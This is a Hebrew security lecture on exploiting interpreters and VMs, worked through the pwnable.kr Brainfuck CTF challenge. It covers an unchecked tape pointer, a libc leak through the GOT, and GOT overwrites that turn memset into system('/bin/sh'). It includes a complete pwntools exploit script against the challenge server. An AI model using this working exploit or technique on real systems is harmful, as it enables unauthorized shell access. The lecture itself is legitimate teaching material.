לדלג לתוכן

8.5 מפרשים ומכונות וירטואליות הרצאה

עד עכשיו ניצלנו חולשות שהסתתרו בקוד C שנכתב ברשלנות - buffer overflow, שימוש לאחר שחרור, מחרוזת format. הפעם נתקוף יעד מסוג אחר: לא באג נקודתי, אלא מנוע שלם שתפקידו להריץ קוד לא מהימן. מפרשים - interpreters - ומכונות וירטואליות - VMs - נמצאים בכל מקום: מנועי JavaScript בדפדפן, WASM, eBPF בkernel, וירטואל-מכונות של בייטקוד בתוך משחקי CTF. לכולם מכנה משותף: הם מגדירים מודל זיכרון "וירטואלי" ומריצים בתוכו תכנית של המשתמש. אם המנוע מפספס בדיקת גבולות אחת קטנה, התכנית הוירטואלית בורחת החוצה ונוגעת בזיכרון של המארח. בהרצאה הזו נלמד את הדפוס הכללי דרך מקרה נקי במיוחד: מפרש Brainfuck מאתגר pwnable.kr.

מפרשים ומכונות וירטואליות כמשטח תקיפה - interpreters and VMs

מפרש הוא תכנית שמקבלת "קוד אורח" - סדרת פקודות - ומבצעת אותן פקודה-פקודה מעל מבנה נתונים כלשהו. המבנה הזה הוא מודל הזיכרון הוירטואלי: לפעמים זו רשומת אוגרים מדומים, לפעמים מחסנית בייטקוד, ולפעמים סרט - tape - של תאי זיכרון. חשבו על זה כך:

             +-------------------------------------------+
   guest code|  > > + + . < , [ ... ]                    |
             +-------------------------------------------+
                              |
                              v  the interpreter's dispatch loop
             +-------------------------------------------+
emulated state|  registers / stack / virtual memory tape  |
             +-------------------------------------------+

הרעיון המרכזי לexploit: המפרש אמור לכלוא את קוד האורח בתוך המצב המדומה בלבד. כל פקודה שמזיזה מצביע, קוראת תא או כותבת תא - חייבת להישאר בגבולות. ברגע שפקודה אחת מאפשרת למצביע לצאת מהגבולות, קוד האורח מקבל גישה לזיכרון האמיתי של תהליך המארח. זה בדיוק הבאג שנחפש: חוסר בדיקת גבולות על מצביע במודל הזיכרון הוירטואלי.

בעולם ה-CTF קוראים לזה לעיתים "VM pwn": מקבלים בינארי שמריץ בייטקוד ביתי, מהנדסים לאחור את קבוצת ההוראות, ומחפשים את ההוראה שקוראת או כותבת מחוץ למערך המדומה. אותו עיקרון בדיוק חל על מנועים אמיתיים - שם הוא פשוט הרבה יותר קשה למצוא.

מהחולשה לפרימיטיב - from bug to primitive

לפני שנכתוב אקספלויט, כדאי לחשוב במונחים של פרימיטיבים - יכולות בסיסיות שאנחנו בונים מהחולשה. מפרש טיפוסי נותן לנו שלוש פקודות מעניינות:

  • פקודה שמזיזה את מצביע המצב - move.
  • פקודה שקוראת את התא שמתחת למצביע - read.
  • פקודה שכותבת לתא שמתחת למצביע - write.

אם פקודת ה-move לא נבדקת, המצביע יכול להצביע לכל מקום. אם בנוסף יש לנו read ו-write, קיבלנו:

free pointer + read  ->  arbitrary relative read
free pointer + write ->  arbitrary relative write

"יחסית" כי המצביע מתחיל בבסיס ידוע (מערך המצב) ואנחנו מזיזים אותו במספר צעדים. אם הבינארי מהודר בלי PIE, הבסיס הזה הוא כתובת קבועה, ולכן היחסי הופך למעשה לשרירותי מוחלט: אנחנו יכולים לקרוא ולכתוב לכל כתובת קבועה בתהליך. עם קריאה וכתיבה שרירותיות, שאר הדרך היא כבר טכניקה מוכרת מהפרקים הקודמים: לדלוף כתובת libc, לחשב בסיס, ולדרוס רשומת GOT.

המפרש שלנו - Brainfuck

השפה Brainfuck מורכבת משמונה פקודות בלבד, שכולן פועלות מעל סרט של בתים ומצביע p שמצביע לתוכו:

>   move p right  (p++)
<   move p left  (p--)
+   increment the byte under p  ((*p)++)
-   decrement the byte under p  ((*p)--)
.   print the byte under p  (putchar(*p))
,   read a byte into the cell under p  (*p = getchar())
[   start of loop  (disabled in this challenge)
]   end of loop  (disabled in this challenge)

הנה הלב של המפרש, כפי שהוא נראה בבינארי bf של האתגר (משוחזר מהנדסה לאחור):

char tape[0x8000];
char* p;

void do_brainfuck(char c) {
    switch (c) {
        case '>': p++;              break;
        case '<': p--;              break;   // no bounds check
        case '+': (*p)++;           break;
        case '-': (*p)--;           break;
        case '.': putchar(*p);      break;   // read primitive
        case ',': *p = getchar();   break;   // write primitive
        case '[': /* disabled */    break;
        case ']': /* disabled */    break;
    }
}

int main() {
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
    puts("welcome to brainfuck testing sytem!");
    puts("type some brainfuck instructions except [ ]");
    char buf[1024];
    p = tape;                       // the pointer starts at the beginning of the tape
    memset(tape, 0, sizeof(tape));  // zeroes out the tape
    fgets(buf, sizeof(buf), stdin); // reads the brainfuck program
    for (int i = 0; i < strlen(buf); i++)
        do_brainfuck(buf[i]);
    return 0;
}

שימו לב לבאג: < ו-> מזיזים את p בלי לבדוק שהוא נשאר בתוך tape. אנחנו יכולים לגרור את p אחורה או קדימה ככל שנרצה, ואז להשתמש ב-. וב-, כדי לקרוא ולכתוב לזיכרון שמחוץ לסרט. בדיוק הפרימיטיבים שתיארנו.

הגנות ומפת הזיכרון - protections and layout

בואו נבדוק מול מה אנחנו עומדים. הפלט של checksec על הבינארי נראה כך:

$ checksec --file=./bf
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

נפרק את זה:

  • הבינארי הוא 32 ביט. הארגומנטים עוברים במחסנית - cdecl - וכתובות הן ארבעה בתים.
  • אין PIE, כלומר tape, main, וה-GOT יושבים בכתובות קבועות. זה מה שהופך את הקריאה והכתיבה היחסיות שלנו למוחלטות.
  • יש רק Partial RELRO. זה קריטי: המשמעות היא שטבלת ה-.got.plt ניתנת לכתיבה. אילו היה RELRO מלא, לא היינו יכולים לדרוס רשומות GOT.
  • אין canary ו-NX פעיל, אבל זה לא רלוונטי כאן: אנחנו לא מזריקים shellcode ולא דורסים return address במחסנית. כל ההתקפה מתרחשת בכתיבה מדויקת ל-GOT.
  • המנגנון ASLR פעיל בשרת, ולכן כתובות libc אקראיות. נצטרך leak כדי לחשב את בסיס libc.

עכשיו מפת הזיכרון. ב-ELF ללא PIE הסדר הטיפוסי הוא שה-GOT יושב בכתובת נמוכה מ-tape:

low addresses
+---------------------------+  0x08048000
| code - .text              |
+---------------------------+
| .plt                      |
+---------------------------+
| .got.plt (GOT)            |  <-- putchar, getchar, fgets, memset ...
+---------------------------+
| .data / .bss              |
| char* p                   |
| char tape[0x8000]         |  <-- p starts here
+---------------------------+
high addresses

מכיוון ש-tape בכתובת גבוהה יותר מה-GOT, כדי להזיז את p מ-tape אל רשומת GOT נצטרך ללכת אחורה בכתובות, כלומר להשתמש בפקודה < (p--). מספר ה-< הוא בדיוק tape - got_entry.

תזכורת - GOT, PLT וקישור עצל - lazy binding

כדי להבין את מהלך הexploit צריך להיזכר איך פונקציות libc נקראות בבינארי דינמי. כל קריאה ל-putchar, fgets, memset וכו' עוברת דרך רשומה ב-.plt, שקוראת מצביע מהרשומה המתאימה ב-GOT וקופצת אליו. בקישור עצל - lazy binding - הרשומה ב-GOT מתחילה כשהיא מצביעה חזרה ל-resolver של ה-loader, ורק בקריאה הראשונה לפונקציה היא מתעדכנת לכתובת האמיתית בתוך libc.

before the first call:          after the first call:
putchar@got -> PLT resolver     putchar@got -> 0xf7e...  (the real address in libc)

זה חשוב לנו משתי סיבות:

  1. הleak - כדי לleak כתובת libc אמיתית, עלינו לקרוא רשומת GOT של פונקציה שכבר נקראה ולכן כבר נפתרה. ב-main נקראות setvbuf, puts, memset ו-fgets לפני לולאת ה-brainfuck. לכן fgets@got כבר מכילה כתובת libc אמיתית ברגע שהתכנית שלנו רצה. putchar ו-getchar עדיין לא נקראו, אז אין טעם לדלוף מהן.
  2. דריסה - ה-GOT ניתן לכתיבה - Partial RELRO - אז נוכל להחליף כתובת של פונקציה בכתובת של פונקציה אחרת. כשהתכנית תקרא בפעם הבאה לאותה פונקציה, היא בעצם תקרא למי שאנחנו שתלנו.

התכנית - leak ודריסת GOT - leak and GOT overwrite

עכשיו נחבר הכל. המטרה: להריץ system("/bin/sh"). הנה הרעיון המלא, ואחריו נסביר כל שלב.

  1. הleak: מזיזים את p אל fgets@got, ובעזרת ארבע פקודות . קוראים את ארבעת הבתים של הכתובת האמיתית של fgets ב-libc. מזה מחשבים בסיס libc, ומהבסיס את הכתובת של system.
  2. דריסה 1: מזיזים את p אל memset@got וכותבים לתוכו את הכתובת של system (ארבעה בתים בעזרת ,).
  3. דריסה 2: מזיזים את p אל putchar@got וכותבים לתוכו את הכתובת של main.
  4. הכנת ארגומנט: מחזירים את p לתחילת tape וכותבים שם את המחרוזת "/bin/sh\0".
  5. הפעלה: מריצים פקודת . אחת. . קורא ל-putchar, אבל דרסנו את putchar@got ל-main, אז במקום להדפיס - התכנית קופצת חזרה ל-main.

עכשיו הקסם. main רץ מחדש. בתוכו הוא מבצע p = tape ואז memset(tape, 0, sizeof(tape)). אבל דרסנו את memset@got ל-system, אז הקריאה הזו היא בעצם system(tape). הארגומנט הראשון של memset הוא tape, ובתוך tape שמנו "/bin/sh". וחשוב מזה: מכיוון ש-memset כבר לא באמת מאפס - הוא system - הסרט לא נמחק, והמחרוזת שלנו שורדת. התוצאה: system("/bin/sh"). מעטפת.

הנה למה בחרנו דווקא ב-memset: זו הפונקציה הראשונה ב-main שמקבלת מצביע לbuffer שאנחנו שולטים בתוכנו (tape) כארגומנט הראשון. printf/puts מקבלות מחרוזות קבועות, אז הן לא שימושיות כאן.

סדר הקלט - איך getchar צורך את הבתים

יש דקות אחת שחייבים להבין. פקודת , קוראת בית דרך getchar, כלומר מ-stdin - בנפרד מתכנית ה-brainfuck שנקראה כבר על ידי fgets. לכן האקספלויט הוא אינטראקטיבי:

1. send the brainfuck program line + newline   ->  fgets reads it
2. the loop runs: first the '.' commands of the leak print 4 bytes
3. the loop reaches the ',' commands -> getchar blocks and waits for more input
4. we read the 4 leak bytes, compute system
5. send the write bytes in order: system, then main, then "/bin/sh"
6. the last '.' command jumps to main -> system("/bin/sh")

הסדר קריטי: הבתים שנשלח ב-stdin נצרכים על ידי פקודות ה-, לפי סדר הופעתן בתכנית. לכן שמנו את הleak ראשונה - היא לא צורכת קלט - וכל הכתיבות אחריה.

שלד אקספלויט - pwntools skeleton

הנה שלד קומפקטי שממחיש את הבנייה. הגרסה המלאה עם כל הפרטים נמצאת בקובץ הפתרון.

from pwn import *
context.arch = 'i386'

elf  = ELF('./bf')
libc = ELF('./bf_libc.so')

tape, main_addr = elf.sym['tape'], elf.sym['main']
g_fgets, g_memset, g_putchar = elf.got['fgets'], elf.got['memset'], elf.got['putchar']

cur = tape
prog = b''
def move(dst):
    global cur, prog
    d = dst - cur
    prog += (b'>' if d > 0 else b'<') * abs(d)
    cur = dst

move(g_fgets);   prog += b'.>.>.>.'; cur = g_fgets + 3     # leak
move(g_memset);  prog += b',>,>,>,'; cur = g_memset + 3    # memset <- system
move(g_putchar); prog += b',>,>,>,'; cur = g_putchar + 3   # putchar <- main
move(tape);      prog += b',>' * 8;  cur = tape + 8        # "/bin/sh\0"
prog += b'.'                                               # trigger

io = remote('pwnable.kr', 9001)
io.recvuntil(b'[ ]\n')
io.sendline(prog)
leak = u32(io.recvn(4))
libc.address = leak - libc.sym['fgets']
io.send(p32(libc.sym['system']))
io.send(p32(main_addr))
io.send(b'/bin/sh\x00')
io.interactive()

דפוס כללי - the general pattern

אף שהמקרה כאן היה Brainfuck, המהלך זהה כמעט בכל אתגר מסוג "VM pwn" או exploit מפרש:

  1. מהנדסים לאחור את קבוצת ההוראות. מזהים אילו פקודות מזיזות מצביע, קוראות וכותבות.
  2. מחפשים את הפקודה הלא-בדוקה שמאפשרת למצביע לצאת מגבולות המצב המדומה.
  3. בונים פרימיטיבים: הופכים move + read ל-arbitrary read, ו-move + write ל-arbitrary write.
  4. מתמצאים בזיכרון: אם אין PIE, כל הכתובות קבועות. אם יש PIE או ASLR, קודם מדליפים כתובת - למשל רשומת GOT פתורה - כדי לחשב בסיסים.
  5. חוטפים זרימת בקרה: עם כתיבה שרירותית, דורסים יעד שנקרא בהמשך - רשומת GOT, מצביע פונקציה, __malloc_hook בגרסאות ישנות, או return address - ומפנים אותו ל-system או לchain ROP.

הרעיון החשוב: מפרש הוא בסך הכל אבסטרקציה. ברגע שהאבסטרקציה דולפת - בית אחד שיוצא מהגבולות - קוד האורח מקבל את המפתחות לתהליך המארח. אותה מחשבה מובילה מ-Brainfuck פשוט ועד לבריחות VM ומנועי JavaScript אמיתיים.

סיכום

  • מפרשים ומכונות וירטואליות הם משטח תקיפה עשיר: הם מריצים קוד לא מהימן מעל מודל זיכרון מדומה, ובאג בבדיקת הגבולות של המודל שובר את הבידוד.
  • באתגר brainfuck פקודות < ו-> מזיזות את מצביע הסרט בלי בדיקת גבולות, ופקודות . ו-, נותנות קריאה וכתיבה - כך שקיבלנו קריאה וכתיבה שרירותיות מוחלטות - מפני שאין PIE.
  • ההגנה Partial RELRO משאירה את ה-GOT ניתן לכתיבה, וזה מה שמאפשר את דריסת ה-GOT.
  • דלפנו כתובת libc מרשומת GOT שכבר נפתרה - fgets - וחישבנו את בסיס libc ואת system.
  • דרסנו את memset@got ל-system ואת putchar@got ל-main, שתלנו "/bin/sh" ב-tape, והפעלנו את הchain שמחזירה ל-main ומריצה system("/bin/sh").
  • הדפוס הכללי - הוראות מפרש -> פרימיטיבים -> קריאה/כתיבה שרירותית -> חטיפת זרימת בקרה - חוזר בכל exploit מפרש ומכונה וירטואלית.